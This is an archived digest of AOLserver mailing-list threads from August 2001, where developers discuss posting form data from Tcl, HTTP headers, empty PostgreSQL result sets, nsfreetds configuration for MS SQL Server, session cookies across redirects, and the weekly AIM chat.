> >form data.. without the URL including the content of what I am sending..
> so
> >I can then operate on that sent data without it being painfully clear
what
> >that data is to the average joe user...  I don't want to use a database
and
> >store temporary data and refer back to that... it would make it more
> complex
> >and add to the database usage in areas that don't need more of it...
> >
> >I'll grab the latest OpenACS stuff and take a look at that as well as
> Scotts
> >stuff when he releases his next round :)
> >
> >Thank you.. :)
> >
> >
> >--
> > Patrick Spence, Network Administrator
> > Information System Dept.
> > 2401 South 24th Street, Phoenix, AZ  85034
> > [EMAIL PROTECTED] - http://www.vitamist.com
> >
> >- Original Message -
> >From: "Jerry Asher" <[EMAIL PROTECTED]>
> >To: <[EMAIL PROTECTED]>
> >Sent: Thursday, August 23, 2001 10:52 AM
> >Subject: Re: [AOLSERVER] Form Posting
> >
> >
> >> Where do you want the output of the POST request to go?  A) Back to
your
> >> tcl script or B) direct to the user's browser?
> >>
> >> Where do you want to make this POST request to?  C) To any arbitrary
> >> webserver or D) to your webserver only?
> >>
> >> A) && C) => use util_httppost from the OpenACS toolkit
> >> B) && C) => screwed (or use util_httppost and then send that output
back
> >> yourself)
> >> D) => use Rob Mayoff's internal redirection module (www.dqd.com)
> >>
> >> Jerry
> >>
> >>
> >>
> >> At 10:07 AM 8/23/01, you wrote:
> >> >I am looking for some easy way (i.e. a tcl routine not a C routine or
> >> >module) to post form data into a URL without passing it on the URL
line
> >> >itself...  instead of redirecting to say
> >> >http://www.foo.com/bar?msg1=hello&msg2=bye  I would like to do
something
> >> >like this:
> >> >
> >> >add_form_value storagevariable "msg1" "hello"
> >> >add_form_value storagevariable "msg2" "bye"
> >> >
> >> >post_form "http://www.foo.com/bar"; $storagevariable
> >> >
> >> >and have it redirect to the url and post the data the same as if a
user
> >had
> >> >filled out a form and hit "submit" instead of the URL based method..
> >> >
> >> >Does anyone know how to do this?  Any help would be appreciated
> >> >
> >> >
> >> >--
> >> >  Patrick Spence, Network Administrator
> >> >  Information System Dept.
> >> >  2401 South 24th Street, Phoenix, AZ  85034
> >> >  [EMAIL PROTECTED] - http://www.vitamist.com
> >>
> >> =
> >> Jerry Asher   [EMAIL PROTECTED]
> >> 1678 Shattuck Avenue Suite 161Tel: (510) 549-2980
> >> Berkeley, CA 94709Fax: (877) 311-8688

[AOLSERVER] CORRECTION: Reminder: AOLserver weekly chat today

[Daniel P. Stasinski]

The *correct* URL for the chat room is (type this into your
browser's address box) :

aim:GoChat?RoomName=AOLserver

Using the other URL (
http://www.aol.com/community/aimcheck.adp/url=AOLserver&Exchange=
4) will get you to a cold lonely place where everyone else isn't.

Daniel P. Stasinski
http://www.disabilities-r-us.com
[EMAIL PROTECTED]

Re: [AOLSERVER] Configure tcl for AolServer 3.4

[Brett Schwarz]

I guess I should have been more specific...if you use ns_return, then it
will send the headers out for you (and when you are using ns_puts in
ADPs); but if you are using ns_write in tcl scripts, you will need to
send out headers. For example, OpenACS/ACS (version 3.2) uses a proc
called ReturnHeaders for this very reason. Here is the contents of the
proc (as an example):

proc ReturnHeaders {{content_type text/html}} {
set all_the_headers "HTTP/1.0 200 OK
MIME-Version: 1.0
Content-Type: $content_type\n"
 util_WriteWithExtraOutputHeaders $all_the_headers
}

So, I guess if you are using ns_write in your tcl scripts, then try
sending headers explicitedly ...


--brett


Jerry Asher wrote:
>
> At 10:48 AM 8/23/01, you wrote:
> >Oh, I'm sorry.  Are the scripts supposed to send out their own HTTP headers
> >in the style of CGI output?  I assumed AOLserver would be sending out
> >default headers as it does with ADPs, and I would just need some content.
> >Assumption is the mother of all screw-ups I guess.
>
> You're right. AOLserver will send out the headers for you.  (When you need
> to, there are API functions that will enable you to modify/add to those
> headers, but don't worry about it for now.)
>
> Jerry
>
> =
> Jerry Asher   [EMAIL PROTECTED]
> 1678 Shattuck Avenue Suite 161Tel: (510) 549-2980
> Berkeley, CA 94709Fax: (877) 311-8688

_
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com

Re: [AOLSERVER] CORRECTION: Reminder: AOLserver weekly chat today

[Rob Mayoff]

Sorry.  I fixed the web page but forgot to fix the email.

+-- On Aug 23, Daniel P. Stasinski said:

> The *correct* URL for the chat room is (type this into your
> browser's address box) :
>
> aim:GoChat?RoomName=AOLserver
>
> Using the other URL (
> http://www.aol.com/community/aimcheck.adp/url=AOLserver&Exchange=
> 4) will get you to a cold lonely place where everyone else isn't.
>
> Daniel P. Stasinski
> http://www.disabilities-r-us.com
> [EMAIL PROTECTED]
>
>

Re: [AOLSERVER] No-rows in PostgreSQL selection

[Jim Wilcoxson]

You need to test for $selection=="", either in an if after the ns_db select,
or as the first part of the while.

Jim


>
> Using AOLserver 3.3.1 with the postgres driver from openacs.org
>
> the following code gives me the error if there are no rows:
>
> exception NSDB, "Query was not a statement returning rows.")
>  while executing...
>
> --
> set selection [ns_db select $db $sql]
>
> set list_to_return [list]
> while {[ns_db getrow $db $selection]} {
>   lappend list_to_return [ns_set value $selection 0]
> }
> --
>
> It works fine if there are rows returned.
> I would have expected the 'ns_db select' to be ok but get 0 back from the
> first call to 'ns_db  getrow'
>
> I would like to return an empty list if there are now rows matching the
> query.
>
> Any suggestion/code snippets? Surely the OpenACS team has dealt with this.
>
>
> --
> Keith Paskett[EMAIL PROTECTED]
> Space Dynamics LaboratoryPGP or GPG encrypted mail preferred
> 1695 North Research Parkway  435-797-4195
> Logan, Utah 84341
>

Re: [AOLSERVER] No-rows in PostgreSQL selection

[Roberto Mello]

Hi Keith,

On Thu, Aug 23, 2001 at 10:44:23AM -0600, Keith paskett wrote:
>
> It works fine if there are rows returned.
> I would have expected the 'ns_db select' to be ok but get 0 back from the
> first call to 'ns_db  getrow'
>
> I would like to return an empty list if there are now rows matching the
> query.
>
> Any suggestion/code snippets? Surely the OpenACS team has dealt with this.

What version of the PostgreSQL driver do you have? If you are using
the one that comes with AOLserver, scrape that and grab the one from
openacs.org.
I just tested your code here on my machine and I don't see the
problem. I get an empty list.

-Roberto
--
+| Roberto Mello - http://www.brasileiro.net |+
Computer Science, Utah State University  -http://www.usu.edu
USU Free Software & GNU/Linux Club   -http://fslc.usu.edu
Space Dynamics Lab, Developer-http://www.sdl.usu.edu
OpenACS - _Your_ free web toolkit-http://openacs.org
I'm sorry -- my karma ran over your dogma.

Re: [AOLSERVER] Linux nsfreetds to MS SQL (long post)

[Dossy]

On 2001.08.23, Mark Hubbard <[EMAIL PROTECTED]> wrote:
> I have a Linux box running nsfreetds!  Both it and freetds seemed to build
> correctly on the first try, and the server loads the module.

Awesome.

> There is no message at all in the server log when the page is hit.  I have
> the log on a console ( -f ).

Nothing interesting in log/server.log?  Hmm.

> My server is an MS SQL Server 7 so I use tds7.0.

That's right.  Cool.

> I was forced to make a couple of guesses/assumptions when configuring it,
> where the docs were sparse.  One was "what goes in the ns_param Datasource
> for the nsfreetds driver" ?  I guessed the server name from the interfaces
> file.  Another was "what to pass to ns_db gethandle" ?

ns_param Datasource 

where  is the name you assigned to the server in your
interfaces file.

ns_db gethandle  -- whatever you named the pool in
your nsd.tcl file.

> #
> # MARK'S STUFF
> # aolserver.com/docs/admin/driv-ch5.htm#38973
> #
> ns_section "ns/db/drivers"
> ns_param freetds nsfreetds.so
>
> ns_section "ns/db/pools"
> ns_param mypool "this pool will point to SQL on markhpc"
>
> ns_section "ns/db/pool/mypool"
> ns_param Driver freetds
> ns_param Datasource "markhpc"
> # i have a feeling this should refer to a server in "interfaces" file
> # or it might be TCP/IP hostname port
> ns_param Connections 1
> # this is max # concurrent connections to SQL.
> ns_param LogSQLErrors on
> ns_param User sa
> ns_param Password ""
> ns_param Verbose on
>
> ns_section "ns/server/server1/db"
> ns_param Pools *


This all looks right, at first glance.


> # patch removed $datasource from the gethandle command
> if [catch {set db [ns_db gethandle]} err] {

Bad idea.  You didn't specify a defaultpool in your
nsd.tcl, so you have to specify the pool to ns_db gethandle
here.  The right answer is to put it back to [ns_db gethandle $datasource].

> Datasource: [switch -exact $datasource {
> markhpc { return "markhpc SQL Server" }

Did this right, cool.

> Datasource:
> 
> markhpc SQL Server

Got this right, too.  Cool.


So, where's your interfaces file?  Also, how are you starting
up nsd?

-- Dossy

--
Dossy Shiobara   mail: [EMAIL PROTECTED]
Panoptic Computer Network web: http://www.panoptic.com/

Re: [AOLSERVER] Me being lame

[Scott Goodwin]

Ok Carl. DCI folks are probably really busy in any case, so I'll do it
myself soon; I just want better version numbering before 4.x is released.

/s.

> 
> 
> Hey Scott, this is to inform you that I've been extemely lame and
havent gotten in touch with the Digital City folks about incorporating the
version numbers in .h files. Its been hectic week with my system that was
looking to be deployed frying on me. Took couple days of trying to fix but
ended up having to reset from scratch ... Also Digital City has laid some
off since last week including one of my best friends that works there but
I'm sure Jim & Kriston are intact. I will try and at least send email
note requesting Kriston respond but may not get to talk to any for a little
bit.  Had good time chatting last week and prob see you in a little
bit. 
> Best Regards,
> Carl Get your FREE download of MSN
Explorer at http://explorer.msn.com
>
>

Re: [AOLSERVER] Linux nsfreetds to MS SQL (long post)

[Mark Hubbard]

There are 6 bytes in the log file.  It reads 13029.  That's all.  Weird.

I put the $datasource back in to ns_db gethandle.  Didn't work.   Then I
realized $datasource is supposed to be a pool name, not an actual datasource
name (ns_db docs).  So I changed where the form had markhpc to read mypool
(thats my pool name) and voila!  23 rows affected!  Thank you Dossy!

Wow that was easy.  It's just a matter of the right kind of hand-holding
and/or docs to get the various pieces in place and working.  I tell you, an
RPM containing all these pieces already configured would be very good for
spreading AOLsvr into the formerly-Windows world.

There was one other technical question I had about the nsfreetds.  Which
call-level interface does it use going into freeTDS?  The db-lib, ct-lib, or
ODBC?  The freetds docs say the ODBC isn't very stable yet.

--
Mark Hubbard: [EMAIL PROTECTED]
Microsoft Certified Professional
"Knowledge is Power."

-Original Message-
From: Dossy <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED] <[EMAIL PROTECTED]>
Date: Thursday, August 23, 2001 2:37 PM
Subject: Re: Linux nsfreetds to MS SQL (long post)


>On 2001.08.23, Mark Hubbard <[EMAIL PROTECTED]> wrote:
>> I have a Linux box running nsfreetds!  Both it and freetds seemed to
build
>> correctly on the first try, and the server loads the module.
>
>Awesome.
>
>> There is no message at all in the server log when the page is hit.  I
have
>> the log on a console ( -f ).
>
>Nothing interesting in log/server.log?  Hmm.
>
>> My server is an MS SQL Server 7 so I use tds7.0.
>
>That's right.  Cool.
>
>> I was forced to make a couple of guesses/assumptions when configuring it,
>> where the docs were sparse.  One was "what goes in the ns_param
Datasource
>> for the nsfreetds driver" ?  I guessed the server name from the
interfaces
>> file.  Another was "what to pass to ns_db gethandle" ?
>
>ns_param Datasource 
>
>where  is the name you assigned to the server in your
>interfaces file.
>
>ns_db gethandle  -- whatever you named the pool in
>your nsd.tcl file.
>
>> #
>> # MARK'S STUFF
>> # aolserver.com/docs/admin/driv-ch5.htm#38973
>> #
>> ns_section "ns/db/drivers"
>> ns_param freetds nsfreetds.so
>>
>> ns_section "ns/db/pools"
>> ns_param mypool "this pool will point to SQL on markhpc"
>>
>> ns_section "ns/db/pool/mypool"
>> ns_param Driver freetds
>> ns_param Datasource "markhpc"
>> # i have a feeling this should refer to a server in "interfaces" file
>> # or it might be TCP/IP hostname port
>> ns_param Connections 1
>> # this is max # concurrent connections to SQL.
>> ns_param LogSQLErrors on
>> ns_param User sa
>> ns_param Password ""
>> ns_param Verbose on
>>
>> ns_section "ns/server/server1/db"
>> ns_param Pools *
>
>
>This all looks right, at first glance.
>
>
>> # patch removed $datasource from the gethandle command
>> if [catch {set db [ns_db gethandle]} err] {
>
>Bad idea.  You didn't specify a defaultpool in your
>nsd.tcl, so you have to specify the pool to ns_db gethandle
>here.  The right answer is to put it back to [ns_db gethandle $datasource].
>
>> Datasource: [switch -exact $datasource {
>> markhpc { return "markhpc SQL Server" }
>
>Did this right, cool.
>
>> Datasource:
>> 
>> markhpc SQL Server
>
>Got this right, too.  Cool.
>
>
>So, where's your interfaces file?  Also, how are you starting
>up nsd?
>
>-- Dossy
>
>--
>Dossy Shiobara   mail: [EMAIL PROTECTED]
>Panoptic Computer Network web: http://www.panoptic.com/

Re: [AOLSERVER] Form Posting

[Dossy]

You mean, like this:








?

-- Dossy


On 2001.08.23, Patrick Spence <[EMAIL PROTECTED]> wrote:
> I am looking for some easy way (i.e. a tcl routine not a C routine or
> module) to post form data into a URL without passing it on the URL line
> itself...  instead of redirecting to say
> http://www.foo.com/bar?msg1=hello&msg2=bye  I would like to do something
> like this:
>
> add_form_value storagevariable "msg1" "hello"
> add_form_value storagevariable "msg2" "bye"
>
> post_form "http://www.foo.com/bar"; $storagevariable
>
> and have it redirect to the url and post the data the same as if a user had
> filled out a form and hit "submit" instead of the URL based method..
>
> Does anyone know how to do this?  Any help would be appreciated
>
>
> --
>  Patrick Spence, Network Administrator
>  Information System Dept.
>  2401 South 24th Street, Phoenix, AZ  85034
>  [EMAIL PROTECTED] - http://www.vitamist.com

--
Dossy Shiobara   mail: [EMAIL PROTECTED]
Panoptic Computer Network web: http://www.panoptic.com/

Re: [AOLSERVER] CORRECTION: Reminder: AOLserver weekly chat today

[Scott Goodwin]

Dan, I'm in two AOLserver rooms right now. If you're in AOLserver chat and
you're with others, send me an invite please.

thanks,

scottgnet is my aim name

/s.

> The *correct* URL for the chat room is (type this into your
> browser's address box) :
>
> aim:GoChat?RoomName=AOLserver
>
> Using the other URL (
> http://www.aol.com/community/aimcheck.adp/url=AOLserver&Exchange=
> 4) will get you to a cold lonely place where everyone else isn't.
>
> Daniel P. Stasinski
> http://www.disabilities-r-us.com
> [EMAIL PROTECTED]
>
>

Re: [AOLSERVER] Form Posting

[Patrick Spence]

Part of what I am trying to work around is cookies not setting on a
redirect...  as one part of what I am doing is where I am authenticating the
user and setting a sessionid cookie as part of my user tracking and
security... if I use a standard redirect the cookie vapors...  right now I
am following the path of setting a url with the username as a variable (part
of what I would like to pass as a form post to keep hidden), and redirecting
the user to a new page that pulls that username from the form data and uses
it to build part of the session cookie..  that page then uses a meta-refresh
to redirect to the users page.

The users page (and all pages past that point) check to see if a
sessioncookie is set and that its coming from a valid referrer.. if either
condition is not true it redirects them back out to the login page.

A bit of a kludge fix, but without the capacity to set a cookie then do a
ns_returnredirect (which I have been assured by my code-guru and my brief
testing doesn't work) this is what I came up with to track things..

--
 Patrick Spence, Network Administrator
 Information System Dept.
 2401 South 24th Street, Phoenix, AZ  85034
 [EMAIL PROTECTED] - http://www.vitamist.com

- Original Message -
From: "Jerry Asher" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Thursday, August 23, 2001 11:11 AM
Subject: Re: [AOLSERVER] Form Posting


> At 11:02 AM 8/23/01, you wrote:
> >I want to be able to redirect the user to another url on my site, and
send
> >information to the tcl script residing at that url (register_proc) using
> >form data.. without the URL including the content of what I am sending..
so
> >I can then operate on that sent data without it being painfully clear
what
> >that data is to the average joe user...  I don't want to use a database
and
> >store temporary data and refer back to that... it would make it more
complex
> >and add to the database usage in areas that don't need more of it...
>
> Try Rob's internal redirect utility, which as he says provides a tcl
> wrapper for ns_connredirect.  The effect is basically a "goto" or
> "overlay".  One moment you are running one script, then you internally
> redirect, and you start running your other script.  What's most fun is
that
> all your tcl variables are still there with the same values.  So you need
> not post at all.
>
> I've used this for exactly the purpose you've given.
>
> rob's utilities: http://www.dqd.com/~mayoff/aolserver/#dqd_utils
> ns_connredirect doc: http://www.aolserver.com/docs/cdev/c-ch90.htm#576649
>
>
> Jerry
> =
> Jerry Asher   [EMAIL PROTECTED]
> 1678 Shattuck Avenue Suite 161Tel: (510) 549-2980
> Berkeley, CA 94709Fax: (877) 311-8688

Re: [AOLSERVER] CORRECTION: Reminder: AOLserver weekly chat today

[Dossy]

If you're using the Windows AIM client, another easy way to get
into the chat is to just invite yourself to "AOLserver" chat.

Here's how:

  People -> Send Chat Invitation (Alt-I)

In the "Chat Invitation" dialog window, clear out any
screen names in the "Screen names to invite" input field,
and then type in your own screen name.

Invitation message is irrelevant.

In the "Chat room" field, type "AOLserver" (NOT "AOLserver Chat").

Then, click the "Send" button in the lower right-hand corner.

This should put you in the AOLserver chat room.

-- Dossy


On 2001.08.23, Scott Goodwin <[EMAIL PROTECTED]> wrote:
> Dan, I'm in two AOLserver rooms right now. If you're in AOLserver chat and
> you're with others, send me an invite please.
>
> thanks,
>
> scottgnet is my aim name
>
> /s.
>
> > The *correct* URL for the chat room is (type this into your
> > browser's address box) :
> >
> > aim:GoChat?RoomName=AOLserver
> >
> > Using the other URL (
> > http://www.aol.com/community/aimcheck.adp/url=AOLserver&Exchange=
> > 4) will get you to a cold lonely place where everyone else isn't.
> >
> > Daniel P. Stasinski
> > http://www.disabilities-r-us.com
> > [EMAIL PROTECTED]
> >
> >

--
Dossy Shiobara   mail: [EMAIL PROTECTED]
Panoptic Computer Network web: http://www.panoptic.com/

Re: [AOLSERVER] Form Posting

[Mark Hubbard]

You might also try actually passing the data in the URL, like you didn't
want to do, but scramble it up first.  There are any number of good ways to
do that, either with TCL native, or by calling C.
--
Mark Hubbard: [EMAIL PROTECTED]
Microsoft Certified Professional
"Knowledge is Power."

-Original Message-
From: Patrick Spence <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED] <[EMAIL PROTECTED]>
Date: Thursday, August 23, 2001 3:00 PM
Subject: Re: Form Posting


>Part of what I am trying to work around is cookies not setting on a
>redirect...  as one part of what I am doing is where I am authenticating
the
>user and setting a sessionid cookie as part of my user tracking and
>security... if I use a standard redirect the cookie vapors...  right now I
>am following the path of setting a url with the username as a variable
(part
>of what I would like to pass as a form post to keep hidden), and
redirecting
>the user to a new page that pulls that username from the form data and uses
>it to build part of the session cookie..  that page then uses a
meta-refresh
>to redirect to the users page.
>
>The users page (and all pages past that point) check to see if a
>sessioncookie is set and that its coming from a valid referrer.. if either
>condition is not true it redirects them back out to the login page.
>
>A bit of a kludge fix, but without the capacity to set a cookie then do a
>ns_returnredirect (which I have been assured by my code-guru and my brief
>testing doesn't work) this is what I came up with to track things..
>
>--
> Patrick Spence, Network Administrator
> Information System Dept.
> 2401 South 24th Street, Phoenix, AZ  85034
> [EMAIL PROTECTED] - http://www.vitamist.com
>
>- Original Message -
>From: "Jerry Asher" <[EMAIL PROTECTED]>
>To: <[EMAIL PROTECTED]>
>Sent: Thursday, August 23, 2001 11:11 AM
>Subject: Re: [AOLSERVER] Form Posting
>
>
>> At 11:02 AM 8/23/01, you wrote:
>> >I want to be able to redirect the user to another url on my site, and
>send
>> >information to the tcl script residing at that url (register_proc) using
>> >form data.. without the URL including the content of what I am sending..
>so
>> >I can then operate on that sent data without it being painfully clear
>what
>> >that data is to the average joe user...  I don't want to use a database
>and
>> >store temporary data and refer back to that... it would make it more
>complex
>> >and add to the database usage in areas that don't need more of it...
>>
>> Try Rob's internal redirect utility, which as he says provides a tcl
>> wrapper for ns_connredirect.  The effect is basically a "goto" or
>> "overlay".  One moment you are running one script, then you internally
>> redirect, and you start running your other script.  What's most fun is
>that
>> all your tcl variables are still there with the same values.  So you need
>> not post at all.
>>
>> I've used this for exactly the purpose you've given.
>>
>> rob's utilities: http://www.dqd.com/~mayoff/aolserver/#dqd_utils
>> ns_connredirect doc: http://www.aolserver.com/docs/cdev/c-ch90.htm#576649
>>
>>
>> Jerry
>> =
>> Jerry Asher   [EMAIL PROTECTED]
>> 1678 Shattuck Avenue Suite 161Tel: (510) 549-2980
>> Berkeley, CA 94709Fax: (877) 311-8688

Re: [AOLSERVER] Linux nsfreetds to MS SQL (long post)

[Dossy]

On 2001.08.23, Mark Hubbard <[EMAIL PROTECTED]> wrote:
> There are 6 bytes in the log file.  It reads 13029.  That's all.  Weird.

Is that the log file, or the pid file?  That looks like a pid to
me.

> I put the $datasource back in to ns_db gethandle.  Didn't work.   Then I
> realized $datasource is supposed to be a pool name, not an actual datasource
> name (ns_db docs).  So I changed where the form had markhpc to read mypool
> (thats my pool name) and voila!  23 rows affected!  Thank you Dossy!

Oh, duh, right.  I'm an idiot -- I said you'd gotten that part
right.  Heh.

> Wow that was easy.  It's just a matter of the right kind of hand-holding
> and/or docs to get the various pieces in place and working.  I tell you, an
> RPM containing all these pieces already configured would be very good for
> spreading AOLsvr into the formerly-Windows world.

Or, as I keep thinking I'll find the time, a web-based installation
wizard that runs within AOLserver itself that can be used to edit
the necessary AOLserver config. files ...

Hal Heisler and I passed this idea back and forth very briefly a
couple of months ago (almost a year or more now?  I lose track of
time) ...

> There was one other technical question I had about the nsfreetds.  Which
> call-level interface does it use going into freeTDS?  The db-lib, ct-lib, or
> ODBC?  The freetds docs say the ODBC isn't very stable yet.

The nsfreetds driver uses TDS directly.  I'm not too fond of using
DB-Lib or CT-Lib ... although I probably should have used CT-Lib.
I was afraid that CT-Lib wasn't thread-safe and didn't have time
to inspect the FreeTDS folks' code.  Heck, even their TDS
implementation isn't thread-safe ... I avoid as much of that
as possible.

Glad to hear you got it working!

-- Dossy

--
Dossy Shiobara   mail: [EMAIL PROTECTED]
Panoptic Computer Network web: http://www.panoptic.com/

Re: [AOLSERVER] freeTDS was: Linux nsfreetds to MS SQL (long post)

[Mark Hubbard]

Might have been a pid.  I'll check on that later...  Thanks for your help
man.  Really.

FreeTDS core isn't thread-safe?  I assume they're planning on fixing that
soon...  it's kind of important you know.

I'll sure give it a shakedown.  I think you (and the freeTDS guys) just
acquired a new test site.

--
Mark Hubbard: [EMAIL PROTECTED]
Microsoft Certified Professional
"Knowledge is Power."

-Original Message-
From: Dossy <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED] <[EMAIL PROTECTED]>
Date: Thursday, August 23, 2001 3:06 PM
Subject: Re: Linux nsfreetds to MS SQL (long post)


>On 2001.08.23, Mark Hubbard <[EMAIL PROTECTED]> wrote:
>> There are 6 bytes in the log file.  It reads 13029.  That's all.  Weird.
>
>Is that the log file, or the pid file?  That looks like a pid to
>me.
>
>> I put the $datasource back in to ns_db gethandle.  Didn't work.   Then I
>> realized $datasource is supposed to be a pool name, not an actual
datasource
>> name (ns_db docs).  So I changed where the form had markhpc to read
mypool
>> (thats my pool name) and voila!  23 rows affected!  Thank you Dossy!
>
>Oh, duh, right.  I'm an idiot -- I said you'd gotten that part
>right.  Heh.
>
>> Wow that was easy.  It's just a matter of the right kind of hand-holding
>> and/or docs to get the various pieces in place and working.  I tell you,
an
>> RPM containing all these pieces already configured would be very good for
>> spreading AOLsvr into the formerly-Windows world.
>
>Or, as I keep thinking I'll find the time, a web-based installation
>wizard that runs within AOLserver itself that can be used to edit
>the necessary AOLserver config. files ...
>
>Hal Heisler and I passed this idea back and forth very briefly a
>couple of months ago (almost a year or more now?  I lose track of
>time) ...
>
>> There was one other technical question I had about the nsfreetds.  Which
>> call-level interface does it use going into freeTDS?  The db-lib, ct-lib,
or
>> ODBC?  The freetds docs say the ODBC isn't very stable yet.
>
>The nsfreetds driver uses TDS directly.  I'm not too fond of using
>DB-Lib or CT-Lib ... although I probably should have used CT-Lib.
>I was afraid that CT-Lib wasn't thread-safe and didn't have time
>to inspect the FreeTDS folks' code.  Heck, even their TDS
>implementation isn't thread-safe ... I avoid as much of that
>as possible.
>
>Glad to hear you got it working!
>
>-- Dossy
>
>--
>Dossy Shiobara   mail: [EMAIL PROTECTED]
>Panoptic Computer Network web: http://www.panoptic.com/

Re: [AOLSERVER] Form Posting

[Scott Laplante]

patrick,

there are a couple gotchas along the way; i'll call out as many as i can
think of, and that might get you a good way towards where you want to be.

1. what you describe is exactly what we're doing, in a filter, to ensure a
sessionId on every request.

2. "setting a cookie" really means "adding a set-cookie header to the
outputheaders, the value of which is "name=value; [path|expires|domain=...]"
this odesn't get sent to the browser until a response is made- so it won't
be in the request headers until the browser's next request.

2a.a. if the page where the cookie is set and the redirected location are in
different directory paths, you'll want to set the path attribute to
something standard- we use "/", since the only cookie we're using is
sesionId- things other than that are set using an nsv which is looked up
based upon the sessionId cookie.  also, if you want to store the cookie on
the users' disks, you'll have to set the expires to something in the future.
an unset expires means "only in the browser session" which really means
"until the user closes the browser". a favorite resource of mine is:
http://home.netscape.com/newsref/std/cookie_spec.html

2a. this assumes that you include the aforementioned outputheaders in the
request.  note that ns_returnredirect doesn't allow for a -headers
arguement.  we instead use a wrapper around ns_respond, which isn't as bad
as it first seems.

2b. there was a bug a while back i noted but never took the time to
duplicate, about ns_conn outputheaders not working.  it might be part of
your problem.  do a search of the archives for the string "TCL_OUTHDRS" or
"ns_conn outputheaders does not work" and you'll probably hit the bug i'm
talking about.

i think in general you'll want to switch to using ns_respond and setting
your own outputheaders, but ns_returnredirect should pass along the correct
headers- i.e. including the ones you've set.

folks, is this last assumption correct?

-Original Message-
From: Patrick Spence [mailto:[EMAIL PROTECTED]]
Sent: Thursday, August 23, 2001 1:02 PM
To: [EMAIL PROTECTED]
Subject: Re: [AOLSERVER] Form Posting


Part of what I am trying to work around is cookies not setting on a
redirect...  as one part of what I am doing is where I am authenticating the
user and setting a sessionid cookie as part of my user tracking and
security... if I use a standard redirect the cookie vapors...  right now I
am following the path of setting a url with the username as a variable (part
of what I would like to pass as a form post to keep hidden), and redirecting
the user to a new page that pulls that username from the form data and uses
it to build part of the session cookie..  that page then uses a meta-refresh
to redirect to the users page.

The users page (and all pages past that point) check to see if a
sessioncookie is set and that its coming from a valid referrer.. if either
condition is not true it redirects them back out to the login page.

A bit of a kludge fix, but without the capacity to set a cookie then do a
ns_returnredirect (which I have been assured by my code-guru and my brief
testing doesn't work) this is what I came up with to track things..

--
 Patrick Spence, Network Administrator
 Information System Dept.
 2401 South 24th Street, Phoenix, AZ  85034
 [EMAIL PROTECTED] - http://www.vitamist.com

- Original Message -
From: "Jerry Asher" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Thursday, August 23, 2001 11:11 AM
Subject: Re: [AOLSERVER] Form Posting


> At 11:02 AM 8/23/01, you wrote:
> >I want to be able to redirect the user to another url on my site, and
send
> >information to the tcl script residing at that url (register_proc) using
> >form data.. without the URL including the content of what I am sending..
so
> >I can then operate on that sent data without it being painfully clear
what
> >that data is to the average joe user...  I don't want to use a database
and
> >store temporary data and refer back to that... it would make it more
complex
> >and add to the database usage in areas that don't need more of it...
>
> Try Rob's internal redirect utility, which as he says provides a tcl
> wrapper for ns_connredirect.  The effect is basically a "goto" or
> "overlay".  One moment you are running one script, then you internally
> redirect, and you start running your other script.  What's most fun is
that
> all your tcl variables are still there with the same values.  So you need
> not post at all.
>
> I've used this for exactly the purpose you've given.
>
> rob's utilities: http://www.dqd.com/~mayoff/aolserver/#dqd_utils
> ns_connredirect doc: http://www.aolserver.com/docs/cdev/c-ch90.htm#576649
>
>
> Jerry
> =
> Jerry Asher   [EMAIL PROTECTED]
> 1678 Shattuck Avenue Suite 161Tel: (510) 549-2980
> Berkeley, CA 94709Fax: (877) 311-8688

Re: [AOLSERVER] Me being lame

[carl garland]

Hey Scott, this is to inform you that I've been extemely lame and havent gotten in touch with the Digital City folks about incorporating the version numbers in .h files. Its been hectic week with my system that was looking to be deployed frying on me. Took couple days of trying to fix but ended up having to reset from scratch ... Also Digital City has laid some off since last week including one of my best friends that works there but I'm sure Jim & Kriston are intact. I will try and at least send email note requesting Kriston respond but may not get to talk to any for a little bit.  Had good time chatting last week and prob see you in a little bit. 
Best Regards,
Carl Get your FREE download of MSN Explorer at http://explorer.msn.com

Re: [AOLSERVER] No-rows in PostgreSQL selection

[Keith paskett]

|Mime-Version: 1.0
|Content-Disposition: inline
|User-Agent: Mutt/1.3.20i
|Date: Thu, 23 Aug 2001 13:16:01 -0600
|From: Roberto Mello <[EMAIL PROTECTED]>
|Subject: Re: [AOLSERVER] No-rows in PostgreSQL selection
|To: [EMAIL PROTECTED]
|
|Hi Keith,
|
|On Thu, Aug 23, 2001 at 10:44:23AM -0600, Keith paskett wrote:
|>
|> It works fine if there are rows returned.
|> I would have expected the 'ns_db select' to be ok but get 0 back from the
|> first call to 'ns_db  getrow'
|>
|> I would like to return an empty list if there are now rows matching the
|> query.
|>
|> Any suggestion/code snippets? Surely the OpenACS team has dealt with this.
|
|What version of the PostgreSQL driver do you have? If you are using
|the one that comes with AOLserver, scrape that and grab the one from
|openacs.org.
|I just tested your code here on my machine and I don't see the
|problem. I get an empty list.

OK it was failing because of my bad SLQ query. Some better error messages
(ala Oracle driver) would sure be nice for people like me.

|
|-Roberto
|--
|+| Roberto Mello - http://www.brasileiro.net |+
|Computer Science, Utah State University  -http://www.usu.edu
|USU Free Software & GNU/Linux Club   -http://fslc.usu.edu
|Space Dynamics Lab, Developer-http://www.sdl.usu.edu
|OpenACS - _Your_ free web toolkit-http://openacs.org
|I'm sorry -- my karma ran over your dogma.

--
Keith Paskett[EMAIL PROTECTED]
Space Dynamics LaboratoryPGP or GPG encrypted mail preferred
1695 North Research Parkway  435-797-4195
Logan, Utah 84341

Re: [AOLSERVER] Form Posting

[Patrick Spence]

- Original Message -
From: "Scott Laplante" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Thursday, August 23, 2001 1:57 PM
Subject: Re: [AOLSERVER] Form Posting


> 1. what you describe is exactly what we're doing, in a filter, to ensure a
> sessionId on every request.

I am using a sessionid to keep people out who have not logged in via my main
form..

> 2. "setting a cookie" really means "adding a set-cookie header to the
> outputheaders, the value of which is "name=value;
[path|expires|domain=...]"
> this odesn't get sent to the browser until a response is made- so it won't
> be in the request headers until the browser's next request.

I know :)   I am using Daniel Stasinski's fantastic cookie library for
AolServer (you can get it at www.scriptkitties.com in the projects section)

> 2a.a. if the page where the cookie is set and the redirected location are
in
> different directory paths, you'll want to set the path attribute to
> something standard- we use "/", since the only cookie we're using is

Thats what I am using..

> sesionId- things other than that are set using an nsv which is looked up
> based upon the sessionId cookie.  also, if you want to store the cookie on
